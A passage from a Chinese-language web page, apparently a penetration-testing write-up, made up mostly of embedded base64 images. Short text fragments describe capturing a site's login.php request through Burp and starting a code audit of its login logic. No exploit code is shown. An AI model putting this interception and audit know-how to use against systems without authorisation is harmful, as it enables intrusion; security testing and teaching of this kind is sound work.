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 truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>同时我们使用浏览器的SwitchyOmega插件,把本地代理端口切到8080,打开Burp,抓一下登录功能的接口及参数,从返回包可以看到登录功能为login.php,登录逻辑非常的朴实无华,POST发送用户名密码,返回json带着状态和数据。</p>
|
||||
<p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA28AAAIHCAYAAAAIH2R/AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdeVyU1f7A8Q/LyKogDAiigIiiIyouaOaGVGYulGW2b+TVMmyxrpaV+Uvjttxri0tl6c12l5tFZmZmpJl7KiKCILLJjuyLgvD7Y5iRYZEZZhDQ7/v18hXzPOc55zwz05zne55zzmP26KOP1iCEEEIIIYQQol2zjDoR3dZ1EEIIIYQQQgjRDPO2roAQQgghhBBCiOZZXqgob+s6CCGEECYRGBjIoUOH2roaQgghhMkFBgbKnTchhBBCCCGE6AgkeBNCCCGEEEKIDkCCNyGEEEIIIYToACR4E0IIIYQQQogOwLKtKyCEEEIIIYS4+qysbQAoGfLkVS/b8cRaujo6XPVyNfILCtus/JzcHABasnCk3HkTQgghhBDiOtUWgdv1zkXp0uJjJXgTQgghhBDiOiSBW9tpaQAnwZsQQgghhBBCdAASvAkhhBBCCCFEByALlgghhBBCCCF0WFma4ePUdKiQUnAJAE9HiybTJJ6v4kJVjVH16Nq1Kw4OXQw6prCwiPz8fKPKbS/l1yfBmxBCCCGEEEJHVxtzHg3s3OT+Tw4UA1wxzbu7C8ksvmRUPfz8+hIQMNigY44dO87+/QeMKre9lF+fDJsUQgghhBBCiA5AgjchhBBCCCGE6AAkeBNCCCGEEEKIDkDmvAkhhBBCCCHapVOnYklNTTPomJKSklaqTduTO29CCCGEEEII0QHInTchhBBCCCFEu9S/f792tdpjW5M7b0IIIYQQQgjRAUjwJoQQQgghhBAdgARvQgghhBBCCNEByJw3IYQQQgghhI788mo+O1Tc5P6MoksAV0yTX15tdD3i4k6TmZlp0DGFhUVGl9teyq9PgjchhBBCCCGEjgtVNZzKrmw23als4wO0K8nPzyc/P79Vy2jP5ddnUPCmmr+VjaHeTeyNZJF/GBHG10kIIYS4qqR9E0II0RGYcM5bEOHRW5mvMl2O7UsIK6OjiV4Z0tYVEUIIcVVd6+2bEEKIjqLFwVvkIn/8/dX/FkVqtnoTOvcaDG5U89kaHU5QW9dDCCFEq7uu2jchxHXN/uiHbV2F61ZObk6LjjPJnbeIHZGmyEYIIYRoV6R9E0Jc6ySAu/paGrjBVVmwJISV9e5aJa2bydTlMfWSrSQ6PKhOmkXsCg4n1BtIWsfMqcuJQcX8rRvrbatXhs52fctvmAaSWDdzKglzowmvuyMonOjocIhchH+YzIAQQojrl3Hty/KYOm0akSzy38HEumkbbWcay6/+nLz6+a7GV/savdrJy3U05FyFEB3NhYpyABT7ll/1skuB0pLCq16uTh3auPyWMMGdtxBWaqObJNatrtPQNDHc0Dt0o87cMdX8rTqBmzpNOE3OHdeXPuXLkEghhBCNMrJ9M6h9CSK8ftqgcN151iEriW40vyDCo6NpfEp2EOHRG3XbU+9QNhpSRz3bciGEEK2vxcFbUHg00dHRdRqS+r10Kua/HYo3qHv5aucP+GsmEATNrp38HcJcbasSyaLadDPXJbW0aoaV7+uDtvQ68xw05UeE+eM/cx3a2kQuUqeRu25CCHFNMln71kz7Ul/Supm1aRYRqa3M5bZSJ5Cc6d8gbVD4ShoLpbT51m3Lgiaq0zZbR33bciGEEFeDyVabTFq3AJ3RE6pJBHvX/u0dysbo2sZQ2/h4EzxJBSETtb15SetWa4d9xCxfgFHxm77l1xEUHk301vmogJjlYchoECGEEC1u3+povn2JZI12YwSrtQ2gNz6+1Gsr69anbtogJjaI3urkG7OdXUn19zdTxxacqxBCiNZj5GqTM7UBlnfoRt0hG3V68/SVlGDCaEnf8iPC6qwmRp3GqfEeTCGEENc2k7VvHaF9aa6OLWjLhRBCtB4jFyyJYfmCdQRvVA+pCApfSUhEwweZXnFSc50WzNtXBdop1L74eF+haG8ffOukvpLmJlVHhPmr66yzaEoQ4StDiJDhkUIIcR0yQftGc+1LQmtU3GBXrOOOy+lkgRIhhGh7xg+bjFnOgjpDNsI13ZMRO7Tj8L1D3643Jj6ElZp0CYnaMfjeoXO1sZxq/uxmJnlfHh7SaFo9y1fN33q5RzUiTHdOQGO8fZEBIkIIcR0wsn0zrH0JYrYmI9V83q4zF3xHRP0y59bp99SdN77DwP7GZuuob1suhBDiqjDJowJilq8hMrR2YndQOCtDIgiLiCBs0cTaXjxvQjdGE1r3oMhFmoNZExlauxy/esWs8KZLYvuuJEJrG6qg8Giim0ysZ/lXyCdS0wrGJJAE6qEj3qFsjA6VRwUIIcR1wKj2jebaF92uQO/QjUSH6qa7PBe8bpmNt5WRixreGdRHc22gvucqhBCi9ZlowZIIwuoMmteueNVkT6PukssRYf66Y+5JYt3MmY0uWBKzfGq9tJEsqrsyl0619Cu/IfWql5djswjCmrsjJ4QQ4hpkXPvWUP32pc523caNyEX+usMUI8J0V6JsNs+Wqpdfi89VCCGEqZkNGDCgpq0r0bimHsgthBBCNC4wMJBDhw61dTX0VP9h2i27cyaEEOL6EBgYaLpHBQghhBBCCCGEaD0SvAkhhBBCCCFEByDBmxBCCCGEEEJ0AO14zpsQQghhmI41500IIYTQn8x5E0IIIYQQQogOQoI3IYQQQgghhOgAJHgTQgghhBBCiA5AgjchhBBCCCGE6AAkeBNCCCGEEEKIDkCCNyGEEEIIIYToACzbugJCCHEtqRw13yT5KPYtN0k+QgghhKlIG9f25M6bEEKYiKkaNVPnJYQQQhhL2rj2QYI3IYQwgdZoiKRxE0II0R5IG9d+SPAmhBBCCCGEEB2ABG9CCHGNMjMza+sqCCGEEK3iem3jZMESIYRoBf+cEcisWwfqnf5cXgm3LNrEpeoak5SvUCj417/+xeeff05UVJRJ8jSUi4sLDg4OeqUtLCwkJyenlWskhBDCFKSNa7s2ToI3IYRoBXui0+hqb42+HYOxqedN1qgBVFZWUl5eTr9+/XQatltvvRVHR0csLCzw8vIiLy+PP//8k5iYGJOVrTFv3jy6dOmiV9qioiIWL15s8joIIYQwPWnj2q6Nk+BNCCFawf7YDPbHZrRpHc6ePYuPj4/Otj59+uDr60tpaSnR0dF069aN2bNn8+WXX3L48GGTlr9ixQqDeiWFEEJ0DNLGtV0bZ3Tw5tJvHH2d624pI+3YYZJLjc25YwpZGU14UL2NkYvwD4toi+q0Gs8Zb/CK21Zmr9zXYN8NYWuZnPl/LN6c0gY1E0JonDlzhoEDB2JnZ0dp6eUf5crKSpYvX05eXh5mZmY8/vjjhISEmLxhy8nJ6dBDIRv+niexbuZUlpu+A7dDuCFsLaEB9TYe+7TRdqAju9bbt4bXbUBeLHtjs1u1XDuv4QTYpLR6OeL6cb22cSa581aedoS/a6M1O6/hBAQMB2MCOBcVo3uWcezvJEqvtK290gnWQlgZHc7W+QlMvV5bfCGuQ1YKCwb1cml2QvWFi1XEpZ2novKSyeuQmJiImZkZPj4+nDhxQrv93Llz5OXlAVBTU0NUVBT+/v507dqV/Px8k9ejI0taN1P7262av5WNG7eCMQFcyEqiZycyc+pyYq60rb3SCdZG8dSns3h9xrkOHcxcl3SCNVf6je7HUK9S7bWcEM2RNq7tmHzYZGnyKdKch+GstCO5VH4EIILV62azMXgSquUx7b9hFkKYxNKHRnP7KF+90lZdquajbcdZEXHUpHU4d+4cFRUVDRq2qqoq3fJrXysUCpOWf/fdd9OtWze90mZlZbFp0yaTlm9qMcsXsC54I8GTVCxvhfkTHc8+ftw+lVcCRuC5OQUJ3zqqbFLTPAlwdsEuubT9d5CLdkHauLZr41p5zpsdXkOHYZMaC3374Uwup/fGkEPtHboetrXpLg+1rHs7P2C0J+TFcpp+jW9D9za/nddwApxz2+fduaSEy4Gbaj5bN4bird23TtvjGrIymnAa3rljkT+aTar5W9nos6ZDDcX0nPEGr0xyq32VyfbXX+a7FM32TNbNWsF+dUruXPYakzKvvaE44vqyZnsUyTlFmNH8bO4eSnuemjqErPwyNu6JM1kdqqurSU5ObjAnQJiCivlbN+KzZhGEhxNEJIv8w4ig9jc61Ls23eWhlpeHYQaxMToUIhexiPDGt6E73F41fysbg3e1z7tzmecuB26eM3h98W24aff9zLJXNpNC7bBLGt65Y+3jrNqnObzpIYvt1TXTvpWV6Vw7NXWddvna7gjlPYfRw6b+fjWd4ZnlKZzOa1hk82U0vH4U7YO0cW2n1YK3srJSwA4A255K8o7tZm/t/9TaIGtvbZDlomJ0gIqyvTHkxO4mp8EQyeyG21yU9O1pix3UprFD6WxLXmo7C9xU83k7FNbNrNMIT/Jh10z/2mE36guAjSsT8A+LIGJHJOGzfVGBuoEOmUgQwMQQiFDn4evjTeSODha4BRxl2Sx1A86oeaxZPI/0WSvYv/ljtge8xuQZnuzfnILnjDlM4meWtceGTQgDJKQXkJB+TO/0tlYK7hzdx6QNG6iHlUycOBGFQkFlZaVJ825Oe7+T1lJJCTGACgDv2RPZNdOfsNqIShtk+dcGWSErid64kgT/MCLC/IloMEQyouG2kIm67QAqJgV7E7mmnQVunjOYNQm2v37599pzhDvHXn+c71JAE6y8EnaO2Sv3sf/IMUKneOAJtW3BcAYDDBsF+9R5dHdz4/iRjvP7f020b3be+PWAtGONdIY3dp1Wm8a5b3/Saq/tXPqNo6+fN7m112gu/cbR1zZF9/i+tlAngNOnjPrXj6L9kDau7do4kwdvLv2G0cMml9N1u0fykuv0xrjSswekHasTZOUkk9ZzGM4uoPe8v5xc8vp6orRLorQULine truncated
|
||||
</li>
|
||||
</ol>
|
||||
<h3 blockindex=5>代码审计</h3>
|
||||
<ol blockindex=6>
|
||||
<li>
|
||||
<p>找到了登录功能后,我们打开login.php,大概看一下这个登录逻辑</p>
|
||||
<p><img src="data:image/png;base64,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 truncated
|
||||
<p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABWUAAAOzCAYAAADQpGQiAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdeXiU9b3//+c9JJA9IWSZLCRsSTCRQCAgAQRF1Fq0Wjdsfz3fti7V0822Wj3anvZ004Pac+r3as+xy6m1p6ffoqXVKuJyRFCRnQAalgQKCVkmK8lkDySf3x+TZSYbM5BkArwe19XrYu753J/7fd8Z04sXn3l/rKw58wxeanQ6vR0qIiIiIiIiIiIiIoOw+bsAERERERERERERkUuJQlkRERERERERERGRMaRQVkRERERERERERGQMKZQVERERERERERERGUMKZUVERERERERERETGkEJZERERERERERERkTGkUFZERERERERERERkDCmUFRERERERERERERlDCmVFRERERERERERExpBCWREREREREREREZExpFBWREREREREREREZAwplBUREREREREREREZQxdkKGuYyXV3ryYzyJz/XJF5fPnH3+b6xPOfa8DcI1iniIiIiIiIiIiIXBz8FsqGJ8wn9/49WLYJvp88IZ1Vn7+RrOARKMR0cvrMaU53jcBc/Y1knWeRlJxCbFz8gOOxcfEkJaeMfgEiIiIiIiIiIiLilTEJZUNiZxOetJDwpIVMCk8CIDQui46mSsIS5hMalwlAwKSI3nFh9nlYtgCvr2GMjVB7CkmRg59jCCR6air20ACMLYjJMWEEGAMN+3jxF8/zoQOMmUhkbCQTMRAUQ0pStOvPQ16zb3xgZCKpSRGuOQcbGxhNytQYgm3mnM4/m9bmZhZekUdcvL33WFy8nYVX5NHa3HxOc4qIiIiIiIiIiMjI8z71PA/pn/xPOtvr6OrsJCQmg0N//TwhsZlYEwJIWvQVwu05nHj3X7AmBDB1yUO0VB8mKDqN5sp9FG74ylnnD0q7mce+9wCLQp00T5pM58f/zY9/8ns+cloARMz9B77/z/+Hy6ijJbCLfev3MOPOiTy3+ifsCLiG7/z5U+y65QFedF7Dd/68mpPPN3PF9dMJj7UTUPwS//L1/8uuZmvghQOu4Tt/voETv2zlqjUz6eqKILJlO//5vR/xt2OnuwfZSPr0k/zPdTMJjU4gpPpN1n7jx2yqtrw83zt1p2rZ/uEHLF6yjF07tgGQu2gx2z/8gLpTtT7NJSIiIiIiIiIiIqNn1FfKBobEMDEsjqKN36TgpTtpqy8mPHE+obFZlO/8Tw7/9Qu0nTqOLSCIkNhMTh1/l0Mvf4Hi939ERPIVZ53fTJjN3d+7n8lvfoNPf/pObvvUF/mDuZXvf3kxE43BBMzlvu9+Bmvdl7j5tju57c7vUrzwGmYMOWMW80L+hy/ddQe33v4wW0Lu4O5bEoapYB7XZn/AN2+9jTW3fJqHN9v5x8f/gWm9K17TyQ55kQfW3MmnP/0lXm67jnvvzPLhfO/V1dawY9tWFl6Rx8Ir8ti5fSt1tTU+zyMiIiIiIiIiIiKjZ9RD2dC4LDrbG2lzniRgUgSTIpJoO1VCUNQ0mqsPYk2YSNDkaTTXHiY0NouW6oOu82KyaKkpPPsFZl/LVRFb+P0fD9NmWVidZfztN2/Qtvw6FgBkXUWe7V1+/+LfOW1ZWO3H+OO6rQz9hf7jbHl1Py2WRWf9Tt7YXkny1GnDFFDFO3/4G2WdFpbVzMe/W8eeqctYntw33+ZX8mmyLGg+zIb3j5EwNRWrN3Q92/kiIiIiIiIiIiJyMRn19gWhsZkY08XMVf9KWEIO9cc3c6a9HtN1mtZTRwmJvQyw0Vp7jJApaXROu4rIqUsJjc+mcMOXz34BewxTqv5OaSfQ02HgZDlVoVnYw4CYaCafOk6l2ylnampoIHqICdtpbep71dTSii08cJgCaqlxn7yjgqr6KcTEA46B8zU2N2PZArABXWc7v2yYyw4iekoMV+Qt7W1fsGjxUlf7Aq2WFRERERERERERGTdGPZQNic2ksWIPDSUfUrn/DzRVfURQZArH3n4E09XJmdZ6jr39bSZFJoE1gZrCDXS21dP4zuOcaa07+wUqqqmJSyB5Aji6uo+lJBLXXI2jCShzUGWfxsyJUNHdpjVkWgoxNA01o4/iSEi2oLr7ZdBUEibXUFAxVue7RE+ewuIly9i9czvVVa6Ud/fO7SxesoztH7yvvrIiIiIiIiIiIiLjxOi3L4jNorZoAzVHXqGp6iMA2hpKOPX3dwBod5ZSd/RNQuMup63+BDWH/sKp45u8C2QBDr/Fuw3L+eL/ySLYGExgKrfeewMTN7/BboBDr7GhNI9/fPw25s9IZnrubTxyRza+d2wFYyKZf8e93Dg7yO1oNFd/bg3TAg3GRJB7/13MP76ZzeXeznq+57sEh4aya8c2qiodvceqKh3s2rGN4NBQ3yYTERERERERERGRUTPqK2X3vbDSq3HVBS9RXfCSz/NbXYX89l9+wbe/+wx/va2d9sBgGvf8jn/5xU5XD1lO8ofH/gm++kW++uM12KrzefEPrzHroaHaFwx3sVmsvOsuMs